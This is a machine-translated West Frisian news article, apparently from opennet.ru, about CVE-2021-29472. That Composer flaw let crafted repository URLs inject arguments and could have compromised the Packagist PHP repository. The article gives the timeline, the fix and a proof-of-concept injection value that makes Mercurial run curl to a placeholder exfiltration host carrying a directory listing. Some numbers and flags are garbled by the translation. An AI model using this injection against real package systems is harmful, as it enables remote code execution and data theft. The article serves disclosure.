Kwetsberens yn 'e Composer-pakketbehearder wêrtroch it Packagist PHP-repository kin wurde kompromittearre

In krityske kwetsberens (CVE-2021-29472) is identifisearre yn 'e Composer-ôfhinklikensbehearder wêrtroch willekeurige kommando's op it systeem kinne wurde útfierd by it ferwurkjen fan in pakket mei in spesjaal opmakke URL-wearde dy't it adres spesifisearret foar it downloaden fan de boarnekoade. It probleem komt foar yn de GitDriver, SvnDriver, en HgDriver komponinten brûkt by it brûken fan Git, Subversion, en Mercurial boarne kontrôle systemen. De kwetsberens waard oplost yn Composer releases 1.10.22 en 2.0.13.

It wurdt spesifyk opmurken dat it probleem primêr beynfloede is op Composer's standertpakketrepository, Packagist, dat 306-pakketten foar PHP-ûntwikkelders befettet en mear dan 1.4 miljard downloads per moanne tsjinnet. It eksperimint liet sjen dat as d'r kennis wie fan it probleem, oanfallers kontrôle oer de Packagist-ynfrastruktuer koene krije en de bewiisbrieven fan ûnderhâlders ûnderskeppe of pakketdownloads trochferwize nei in tsjinner fan tredden, en organisearje de levering fan pakketfarianten mei kweade feroarings om in efterdoar te ferfangen tidens de ôfhinklikens ynstallaasje proses.

It gefaar foar ein brûkers is beheind ta it feit dat de ynhâld fan composer.json meastentiids wurdt bepaald troch de brûker, en boarne keppelings wurde oerdroegen by tagong ta tredden repositories, dy't meastal betrouber. De wichtichste klap foel op it Packagist.org-repository en de Private Packagist-tsjinst, dy't Composer neamde mei de oerdracht fan gegevens ûntfongen fan brûkers. Oanfallers koene har koade útfiere op Packagist-servers troch in spesjaal ûntwurpen pakket te pleatsen.

It Packagist-team reparearre de kwetsberens binnen 12 oeren neidat de kwetsberens waard rapportearre. De ûndersikers hawwe de Packagist-ûntwikkelders partikulier op 22 april ynformearre, en it probleem waard deselde deis oplost. In iepenbiere update foar Composer dy't de kwetsberens oanpakt waard publisearre op 27 april, mei details iepenbiere op 28 april. In kontrôle fan logs op Packagist-servers liet gjin fertochte aktiviteit sjen yn ferbân mei de kwetsberens.

It probleem wurdt feroarsake troch in brek yn 'e URL-validaasjekoade yn' e root composer.json-bestân en boarne downloadlinks. De flater sit sûnt novimber 2011 yn de koade. Packagist brûkt spesjale lagen om it laden fan koade te organisearjen sûnder te wêzen bûn oan in spesifyk boarnekontrôlesysteem, dy't wurde útfierd troch "fromShellCommandline" te roppen en kommandorigelarguminten troch te jaan. Bygelyks, foar git, wurdt it kommando "git ls-remote -heads $URL" neamd, wêrby't de URL ferwurke wurdt mei de metoade "ProcessExecutor :: escape($url)", ûntsnappe fan mooglik gefaarlike konstruksjes lykas "$(. ..)" of "` ...`".

De kearn fan it probleem is dat de ProcessExecutor :: escape metoade net ûntkommen is oan 'e "—" folchoarder, wêrtroch't elke ekstra opropparameter yn 'e URL oanjûn wurde koe. Sokke ûntsnapping ûntbrekt yn de GitDriver.php, SvnDriver.php en HgDriver.php bestjoerders. De oanfal fan GitDriver.php waard hindere troch it feit dat it kommando "git ls-remote" gjin stipe foar it opjaan fan ekstra arguminten nei it paad. In oanfal op HgDriver.php blykte mooglik te wêzen troch de parameter "--config" troch te jaan oan it hulpprogramma "hq", wêrtroch jo de útfiering fan elk kommando organisearje kinne troch de ynstelling "alias.identify" te manipulearjen. Om bygelyks koade te downloaden en út te fieren troch it curl-hulpprogramma út te fieren, kinne jo opjaan: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)"

Troch in testpakket te pleatsen mei in ferlykbere URL nei Packagist, ferifiearre de ûndersikers dat har server nei it pleatsen in HTTP-fersyk krige fan ien fan 'e Packagist-tsjinners yn AWS mei in list mei bestannen yn 'e hjoeddeistige map.

Boarne: opennet.ru

Add a comment